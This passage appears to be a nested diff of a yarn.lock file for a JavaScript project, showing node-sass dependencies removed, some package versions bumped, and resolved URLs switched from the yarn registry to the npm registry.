--  integrity sha512-yltEuuLrfH6M7Pq2gAj5B6Zm7m+gdZoG66wTqG6mIZV/zijq3M2OO2HswtT6oBspPyFhHDcaxWpsBm0fRNDHPg==
--  dependencies:
--    async-foreach "^0.1.3"
--    chalk "^4.1.2"
--    cross-spawn "^7.0.3"
--    gaze "^1.0.0"
--    get-stdin "^4.0.1"
--    glob "^7.0.3"
--    lodash "^4.17.15"
--    make-fetch-happen "^10.0.4"
--    meow "^9.0.0"
--    nan "^2.17.0"
--    node-gyp "^8.4.1"
--    sass-graph "^4.0.1"
--    stdout-stream "^1.4.0"
--    "true-case-path" "^2.2.1"
--
--nopt@^5.0.0:
--  version "5.0.0"
--  resolved "https://registry.yarnpkg.com/nopt/-/nopt-5.0.0.tgz#530942bb58a512fccafe53fe210f13a25355dc88"
--  integrity sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==
--  dependencies:
--    abbrev "1"
-+  version "3.3.11"
-+  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.11.tgz#4f4f112cefbe303202f2199838128936266d185b"
-+  integrity sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==
-+
-+node-addon-api@^7.0.0:
-+  version "7.1.1"
-+  resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz"
-+  integrity sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==
-+
-+node-releases@^2.0.19:
-+  version "2.0.19"
-+  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.19.tgz#9e445a52950951ec4d177d843af370b411caf314"
-+  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
- 
- nopt@~3.0.6:
-   version "3.0.6"
--  resolved "https://registry.yarnpkg.com/nopt/-/nopt-3.0.6.tgz#c6465dbf08abcd4db359317f79ac68a646b28ff9"
-+  resolved "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz"
-   integrity sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==
-   dependencies:
-     abbrev "1"
- 
- nopt@~4.0.1:
-   version "4.0.3"
--  resolved "https://registry.yarnpkg.com/nopt/-/nopt-4.0.3.tgz#a375cad9d02fd921278d954c2254d5aa57e15e48"
-+  resolved "https://registry.npmjs.org/nopt/-/nopt-4.0.3.tgz"
-   integrity sha512-CvaGwVMztSMJLOeXPrez7fyfObdZqNUK1cPAEzLHrTybIua9pMdmmPR5YwtfNftIOMv3DPUhFaxsZMNTQO20Kg==
-   dependencies:
-     abbrev "1"
-     osenv "^0.1.4"
- 
--normalize-package-data@^2.5.0:
--  version "2.5.0"
--  resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
--  integrity sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==
--  dependencies:
--    hosted-git-info "^2.1.4"
--    resolve "^1.10.0"
--    semver "2 || 3 || 4 || 5"
--    validate-npm-package-license "^3.0.1"
--
--normalize-package-data@^3.0.0:
--  version "3.0.3"
--  resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-3.0.3.tgz#dbcc3e2da59509a0983422884cd172eefdfa525e"
--  integrity sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==
--  dependencies:
--    hosted-git-info "^4.0.1"
--    is-core-module "^2.5.0"
--    semver "^7.3.4"
--    validate-npm-package-license "^3.0.1"
--
- normalize-range@^0.1.2:
-   version "0.1.2"
--  resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
-+  resolved "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz"
-   integrity sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==
- 
--npmlog@^6.0.0:
--  version "6.0.2"
--  resolved "https://registry.yarnpkg.com/npmlog/-/npmlog-6.0.2.tgz#c8166017a42f2dea92d6453168dd865186a70830"
--  integrity sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==
--  dependencies:
--    are-we-there-yet "^3.0.0"
--    console-control-strings "^1.1.0"
--    gauge "^4.0.3"
--    set-blocking "^2.0.0"
--
- num2fraction@^1.2.2:
-   version "1.2.2"
--  resolved "https://registry.yarnpkg.com/num2fraction/-/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
-+  resolved "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz"
-   integrity sha512-Y1wZESM7VUThYY+4W+X4ySH2maqcA+p7UR+w8VWNWVAd6lwuXXWz/w/Cz43J/dI2I+PS6wD5N+bJUF+gjWvIqg==
- 
- object-assign@^4.1.0:
-   version "4.1.1"
--  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-+  resolved "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz"
-   integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
- 
--object-inspect@^1.13.1:
--  version "1.13.3"
--  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.3.tgz#f14c183de51130243d6d18ae149375ff50ea488a"
--  integrity sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==
-+object-inspect@^1.13.3:
-+  version "1.13.4"
-+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213"
-+  integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
- 
- object.defaults@^1.1.0:
-   version "1.1.0"
--  resolved "https://registry.yarnpkg.com/object.defaults/-/object.defaults-1.1.0.tgz#3a7f868334b407dea06da16d88d5cd29e435fecf"
-+  resolved "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz"
-   integrity sha512-c/K0mw/F11k4dEUBMW8naXUuBuhxRCfG7W+yFy8EcijU/rSmazOUd1XAEEe6bC0OuXY4HUKjTJv7xbxIMqdxrA==
-   dependencies:
-     array-each "^1.0.1"
-@@ -1762,7 +1142,7 @@ object.defaults@^1.1.0:
- 
- object.map@^1.0.1:
-   version "1.0.1"
--  resolved "https://registry.yarnpkg.com/object.map/-/object.map-1.0.1.tgz#cf83e59dc8fcc0ad5f4250e1f78b3b81bd801d37"
-+  resolved "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz"
-   integrity sha512-3+mAJu2PLfnSVGHwIWubpOFLscJANBKuB/6A4CxBstc4aqwQY0FWcsppuy4jU5GSB95yES5JHSI+33AWuS4k6w==
-   dependencies:
-     for-own "^1.0.0"
-@@ -1770,160 +1150,126 @@ object.map@^1.0.1:
- 
- object.pick@^1.2.0:
-   version "1.3.0"
--  resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-+  resolved "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz"
-   integrity sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==
-   dependencies:
-     isobject "^3.0.1"
- 
- once@^1.3.0:
-   version "1.4.0"
--  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-+  resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz"
-   integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
-   dependencies:
-     wrappy "1"
- 
- os-homedir@^1.0.0:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3"
-+  resolved "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz"
-   integrity sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ==
- 
- os-tmpdir@^1.0.0:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
-+  resolved "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz"
-   integrity sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==
- 
- osenv@^0.1.4:
-   version "0.1.5"
--  resolved "https://registry.yarnpkg.com/osenv/-/osenv-0.1.5.tgz#85cdfafaeb28e8677f416e287592b5f3f49ea410"
-+  resolved "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz"
-   integrity sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==
-   dependencies:
-     os-homedir "^1.0.0"
-     os-tmpdir "^1.0.0"
- 
--p-limit@^2.0.0, p-limit@^2.2.0:
-+p-limit@^2.0.0:
-   version "2.3.0"
--  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
-+  resolved "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz"
-   integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
-   dependencies:
-     p-try "^2.0.0"
- 
- p-locate@^3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
-+  resolved "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz"
-   integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
-   dependencies:
-     p-limit "^2.0.0"
- 
--p-locate@^4.1.0:
--  version "4.1.0"
--  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
--  integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
--  dependencies:
--    p-limit "^2.2.0"
--
--p-map@^4.0.0:
--  version "4.0.0"
--  resolved "https://registry.yarnpkg.com/p-map/-/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b"
--  integrity sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==
--  dependencies:
--    aggregate-error "^3.0.0"
--
- p-try@^2.0.0:
-   version "2.2.0"
--  resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
-+  resolved "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz"
-   integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
- 
- parse-filepath@^1.0.1:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/parse-filepath/-/parse-filepath-1.0.2.tgz#a632127f53aaf3d15876f5872f3ffac763d6c891"
-+  resolved "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz"
-   integrity sha512-FwdRXKCohSVeXqwtYonZTXtbGJKrn+HNyWDYVcp5yuJlesTwNH4rsmRZ+GrKAPJ5bLpRxESMeS+Rl0VCHRvB2Q==
-   dependencies:
-     is-absolute "^1.0.0"
-     map-cache "^0.2.0"
-     path-root "^0.1.1"
- 
--parse-json@^5.0.0:
--  version "5.2.0"
--  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
--  integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==
--  dependencies:
--    "@babel/code-frame" "^7.0.0"
--    error-ex "^1.3.1"
--    json-parse-even-better-errors "^2.3.0"
--    lines-and-columns "^1.1.6"
--
- parse-passwd@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/parse-passwd/-/parse-passwd-1.0.0.tgz#6d5b934a456993b23d37f40a382d6f1666a8e5c6"
-+  resolved "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz"
-   integrity sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==
- 
- path-exists@^3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
-+  resolved "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz"
-   integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==
- 
--path-exists@^4.0.0:
--  version "4.0.0"
--  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
--  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
--
- path-is-absolute@^1.0.0:
-   version "1.0.1"
--  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-+  resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz"
-   integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
- 
--path-key@^3.1.0:
--  version "3.1.1"
--  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
--  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
--
- path-parse@^1.0.7:
-   version "1.0.7"
--  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
-+  resolved "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz"
-   integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
- 
- path-root-regex@^0.1.0:
-   version "0.1.2"
--  resolved "https://registry.yarnpkg.com/path-root-regex/-/path-root-regex-0.1.2.tgz#bfccdc8df5b12dc52c8b43ec38d18d72c04ba96d"
-+  resolved "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz"
-   integrity sha512-4GlJ6rZDhQZFE0DPVKh0e9jmZ5egZfxTkp7bcRDuPlJXbAwhxcl2dINPUAsjLdejqaLsCeg8axcLjIbvBjN4pQ==
- 
- path-root@^0.1.1:
-   version "0.1.1"
--  resolved "https://registry.yarnpkg.com/path-root/-/path-root-0.1.1.tgz#9a4a6814cac1c0cd73360a95f32083c8ea4745b7"
-+  resolved "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz"
-   integrity sha512-QLcPegTHF11axjfojBIoDygmS2E3Lf+8+jI6wOVmNVenrKSo3mFdSGiIgdSHenczw3wPtlVMQaFVwGmM7BJdtg==
-   dependencies:
-     path-root-regex "^0.1.0"
- 
- picocolors@^0.2.1:
-   version "0.2.1"
--  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-0.2.1.tgz#570670f793646851d1ba135996962abad587859f"
-+  resolved "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz"
-   integrity sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==
- 
--picocolors@^1.0.0, picocolors@^1.1.0, picocolors@^1.1.1:
-+picocolors@^1.1.1:
-   version "1.1.1"
-   resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
-   integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
- 
- picomatch@^2.3.1:
-   version "2.3.1"
--  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42"
-+  resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz"
-   integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
- 
- pify@^4.0.1:
-   version "4.0.1"
--  resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
-+  resolved "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz"
-   integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
- 
- pkg-up@^3.1.0:
-   version "3.1.0"
--  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
-+  resolved "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz"
-   integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==
-   dependencies:
-     find-up "^3.0.0"
- 
- postcss-value-parser@^4.1.0:
-   version "4.2.0"
--  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
-+  resolved "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz"
-   integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
- 
- postcss@8.4:
-@@ -1937,7 +1283,7 @@ postcss@8.4:
- 
- postcss@^6.0.11:
-   version "6.0.23"
--  resolved "https://registry.yarnpkg.com/postcss/-/postcss-6.0.23.tgz#61c82cc328ac60e677645f979054eb98bc0e3324"
-+  resolved "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz"
-   integrity sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==
-   dependencies:
-     chalk "^2.4.1"
-@@ -1946,7 +1292,7 @@ postcss@^6.0.11:
- 
- postcss@^7.0.32:
-   version "7.0.39"
--  resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.39.tgz#9624375d965630e2e1f2c02a935c82a59cb48309"
-+  resolved "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz"
-   integrity sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==
-   dependencies:
-     picocolors "^0.2.1"
-@@ -1954,111 +1300,39 @@ postcss@^7.0.32:
- 
- pretty-bytes@^5.3.0:
-   version "5.6.0"
--  resolved "https://registry.yarnpkg.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
-+  resolved "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz"
-   integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==
- 
--process-nextick-args@~2.0.0:
--  version "2.0.1"
--  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
--  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
--
--promise-inflight@^1.0.1:
--  version "1.0.1"
--  resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3"
--  integrity sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==
--
--promise-retry@^2.0.1:
--  version "2.0.1"
--  resolved "https://registry.yarnpkg.com/promise-retry/-/promise-retry-2.0.1.tgz#ff747a13620ab57ba688f5fc67855410c370da22"
--  integrity sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==
--  dependencies:
--    err-code "^2.0.2"
--    retry "^0.12.0"
--
- qs@^6.4.0:
--  version "6.13.1"
--  resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.1.tgz#3ce5fc72bd3a8171b85c99b93c65dd20b7d1b16e"
--  integrity sha512-EJPeIn0CYrGu+hli1xilKAPXODtJ12T0sP63Ijx2/khC2JtuaN3JyNIpvmnkmaEtha9ocbG4A4cMcr+TvqvwQg==
-+  version "6.14.0"
-+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.14.0.tgz#c63fa40680d2c5c941412a0e899c89af60c0a930"
-+  integrity sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==
-   dependencies:
--    side-channel "^1.0.6"
--
--quick-lru@^4.0.1:
--  version "4.0.1"
--  resolved "https://registry.yarnpkg.com/quick-lru/-/quick-lru-4.0.1.tgz#5b8878f113a58217848c6482026c73e1ba57727f"
--  integrity sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==
-+    side-channel "^1.1.0"
- 
- raw-body@~1.1.0:
-   version "1.1.7"
--  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-1.1.7.tgz#1d027c2bfa116acc6623bca8f00016572a87d425"
-+  resolved "https://registry.npmjs.org/raw-body/-/raw-body-1.1.7.tgz"
-   integrity sha512-WmJJU2e9Y6M5UzTOkHaM7xJGAPQD8PNzx3bAd2+uhZAim6wDk6dAZxPVYLF67XhbR4hmKGh33Lpmh4XWrCH5Mg==
-   dependencies:
-     bytes "1"
-     string_decoder "0.10"
- 
--read-pkg-up@^7.0.1:
--  version "7.0.1"
--  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-7.0.1.tgz#f3a6135758459733ae2b95638056e1854e7ef507"
--  integrity sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==
--  dependencies:
--    find-up "^4.1.0"
--    read-pkg "^5.2.0"
--    type-fest "^0.8.1"
--
--read-pkg@^5.2.0:
--  version "5.2.0"
--  resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-5.2.0.tgz#7bf295438ca5a33e56cd30e053b34ee7250c93cc"
--  integrity sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==
--  dependencies:
--    "@types/normalize-package-data" "^2.4.0"
--    normalize-package-data "^2.5.0"
--    parse-json "^5.0.0"
--    type-fest "^0.6.0"
--
--readable-stream@^2.0.1:
--  version "2.3.8"
--  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.8.tgz#91125e8042bba1b9887f49345f6277027ce8be9b"
--  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
--  dependencies:
--    core-util-is "~1.0.0"
--    inherits "~2.0.3"
--    isarray "~1.0.0"
--    process-nextick-args "~2.0.0"
--    safe-buffer "~5.1.1"
--    string_decoder "~1.1.1"
--    util-deprecate "~1.0.1"
--
--readable-stream@^3.6.0:
--  version "3.6.2"
--  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967"
--  integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
--  dependencies:
--    inherits "^2.0.3"
--    string_decoder "^1.1.1"
--    util-deprecate "^1.0.1"
-+readdirp@^4.0.1:
-+  version "4.1.2"
-+  resolved "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz"
-+  integrity sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==
- 
- rechoir@^0.7.0:
-   version "0.7.1"
--  resolved "https://registry.yarnpkg.com/rechoir/-/rechoir-0.7.1.tgz#9478a96a1ca135b5e88fc027f03ee92d6c645686"
-+  resolved "https://registry.npmjs.org/rechoir/-/rechoir-0.7.1.tgz"
-   integrity sha512-/njmZ8s1wVeR6pjTZ+0nCnv8SpZNRMT2D1RLOJQESlYFDBvwpTA4KWJpZ+sBJ4+vhjILRcK7JIFdGCdxEAAitg==
-   dependencies:
-     resolve "^1.9.0"
- 
--redent@^3.0.0:
--  version "3.0.0"
--  resolved "https://registry.yarnpkg.com/redent/-/redent-3.0.0.tgz#e557b7998316bb53c9f1f56fa626352c6963059f"
--  integrity sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==
--  dependencies:
--    indent-string "^4.0.0"
--    strip-indent "^3.0.0"
--
--require-directory@^2.1.1:
--  version "2.1.1"
--  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
--  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
--
- resolve-dir@^1.0.0, resolve-dir@^1.0.1:
-   version "1.0.1"
--  resolved "https://registry.yarnpkg.com/resolve-dir/-/resolve-dir-1.0.1.tgz#79a40644c362be82f26effe739c9bb5382046f43"
-+  resolved "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz"
-   integrity sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==
-   dependencies:
-     expand-tilde "^2.0.0"
-@@ -2066,352 +1340,182 @@ resolve-dir@^1.0.0, resolve-dir@^1.0.1:
- 
- resolve-from@^5.0.0:
-   version "5.0.0"
